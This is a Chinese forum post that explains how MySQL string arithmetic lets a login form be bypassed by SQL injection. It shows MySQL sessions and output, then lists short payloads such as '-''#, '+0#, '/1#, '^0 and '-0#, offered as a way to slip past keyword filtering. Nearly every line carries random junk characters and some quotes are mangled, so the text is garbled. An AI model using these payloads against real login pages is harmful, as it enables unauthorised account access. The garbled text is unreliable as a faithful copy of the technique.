找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2164|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。
8 D4 _; _; B9 M有以下表结构: ( t: C% x7 f' c8 r2 I+ C$ x" h
  `8 [" x& |. Z$ d# G
mysql> desc admin;
, S# U9 X) J$ c+----------+--------------+------+-----+---------+----------------+
; m& f5 O' t  v| Field    | Type         | Null | Key | Default | Extra          |3 z. `- m& r7 |5 e
+----------+--------------+------+-----+---------+----------------+
+ o& o, x8 r; _6 V% r2 U| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
# ]  U& ~1 s! p. y| name     | char(32)     | NO   | UNI | NULL    |                |
' J3 B7 k5 d9 r  |7 [| password | char(32)     | NO   | UNI | NULL    |                |9 A1 e: t- }* a9 M/ a
+----------+--------------+------+-----+---------+----------------+8 k; i) l# q" I; @
3 rows in set (0.00 sec)) M& F1 O5 h# V3 k8 I7 t+ G
执行select * from admin;,成功返回所有记录内容。& T6 N! B4 [  v: E0 q7 {+ j( ?, P2 F

( H, s' h$ a6 P7 j/ {* L
. L5 q% Y5 D8 \; K3 i6 Q9 c. ^+----+--------+----------------------------------+6 J# x% s  P& i- J% o
| id | name   | password                         |) K& C$ Z' n' R# j# f0 }! b
+----+--------+----------------------------------+" d- |+ B2 B( ?; r# t" i3 w' g
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |. b/ p+ l6 }7 r" B/ w( V5 M
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |0 u; ?0 {* B, N+ l+ l/ C+ r
|  4 | n00b   | ff80e8508d39047460921792273533a4 |6 V, q- q2 v1 F
+----+--------+----------------------------------+
+ l& A. G5 x( A4 V+ b6 j  s* t3 rows in set (0.00 sec)9 C2 r7 l- t6 Y' T9 i
执行select * from admin where name=”;,没有匹配到任何记录。
  D! d8 d+ F* p8 _& h- [4 I' Z) @* ~6 [/ e
mysql> select * from admin where name = '';
7 ~1 b3 Y$ `6 o) R" }$ S/ UEmpty set (0.00 sec)* y( y4 l; ^' H, G3 K2 q) b
那么我们来执行select * from admin where name = ”-”;/ T+ q. P, A5 {( P' t7 G- m
+ g4 d, B6 U2 X5 X+ h
6 \" v) Z4 Z7 p* W
+----+--------+----------------------------------+; U4 e' f  \) \8 ^2 l. i% ^
| id | name   | password                         |% W. g" P; }% ?% v: G2 h
+----+--------+----------------------------------+
! I8 n9 V# b( `% K: k7 k5 i|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
5 E* d/ H1 B3 _4 B+ W( b; W, J|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |& N( _( l; I- r2 ~, @
|  4 | n00b   | ff80e8508d39047460921792273533a4 |$ j% k# \3 S; a5 c0 [3 V. n3 K  G
+----+--------+----------------------------------+
2 F2 |' D$ k/ g3 v) e3 rows in set, 3 warnings (0.00 sec)5 x8 Y; L4 T+ x* U" |
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: - l# J: N$ ?" x% u3 C
3 b( A. R7 k# ^0 k' E) I
mysql> show warnings;
, W  o" R& z" y3 ~( U+ ?( J- g+---------+------+------------------------------------------* B; ^9 G) w$ b4 @
| Level   | Code | Message& Y! a6 `2 ~+ R
+---------+------+------------------------------------------: M# R6 ]! @, a4 T
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
3 \! l) s7 N. e0 G0 d$ M| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s2 a4 W7 s7 U1 N& k$ v! o: o
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b2 I) \% Y- F, R* w; |
+---------+------+------------------------------------------
6 H, a  V* Y. t3 rows in set (0.00 sec)8 Q0 L2 `- P2 z0 x! J2 [3 q3 a
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 ) L1 X& Q- ], D

2 D+ v8 m4 W6 [' Pmysql> select ''-'';) i/ b/ t: I  N2 c
+-------+
# o% c, \8 l; || ''-'' |
# I. w  {2 V* a0 E9 H- C; j6 B+-------+5 c5 u5 D+ w( `
|     0 |# h! T' m7 G  n; y3 d+ u" [
+-------+
, n( v" c  `3 V1 l4 P+ X1 row in set (0.00 sec)2 L0 z, r) N* s+ y
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: 9 v! b# [0 Y. S7 C  Z
, x: c/ y# ]2 T/ R; \" r" ~
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);2 C6 ?' A6 g& \7 a
+-----------------------------------------------------+
- j! R  ]5 q4 N| CAST((select name from admin limit 1,1) as DECIMAL) |6 P5 Q0 m) [* h% d% K: _9 z
+-----------------------------------------------------+
1 Z$ y5 m& V: M+ F+ H|                                                   0 |- o/ n; R4 n: O: ]7 g, Q. I
+-----------------------------------------------------+0 X: S' L1 G& c) b( P* r0 _3 w" `
1 row in set, 1 warning (0.00 sec)8 P0 w9 c, X+ g4 o9 L; v
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 & `/ Z. c+ Y+ K0 \6 W2 i4 v
# R) T0 `2 k6 @- ]* O7 }0 M! B
SQL注入场景: http://www.sqlzoo.net/hack/ 7 l0 W8 k! [$ l/ t/ H( E: f% i
! A0 ]: U7 z# ]' o- H

2 v6 i4 F( [2 l& U) e$ N
  a" q. j' V  X* X6 D3 I8 r' f
; [) J- ~' f4 @7 O" c0 @如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 * q, t* F. r5 n5 d+ M: V

$ ?* I+ _' U% J1 w那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
" V+ L% N+ P' Y+ e0 y0 ?2 O) J$ a% R. x; P$ p( L6 K* H

# B& d: E% L- s) o& W& b4 _* B& C  G: _' d# X/ i2 G
2 B7 P" L& z! e4 V- B
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 2 j9 i2 v' O# P/ x& ~

9 w2 K$ X; Z; q/ L" A! a) j1 L   1 s1 I8 e" Q: i9 }

1 C4 [; \. \! C2 X0 |! O除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
  b* `  p9 Z: Z  I* ^' ]
# {, q& k2 _) Z6 N; M# D
; H  U; O9 e8 I4 H6 N0 t. y! q  ]mysql> select ''/1;! f2 s8 ~3 f9 Q7 M
+------+
8 Y( r9 r0 Q# m0 q, {| ''/1 |( `1 v6 K. z' [1 ?9 B
+------+
! v: K) ^7 a2 W  w! P) P|    0 |2 b7 ^2 ~" m; e
+------+# o) {2 F* Y* @0 ^* [
1 row in set (0.00 sec)
4 @1 {# f: B% r4 m  B类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
! A* ^! i' E7 }: n" p
% @) D7 ]" ~! j) u利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。& P6 t: @- G# X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表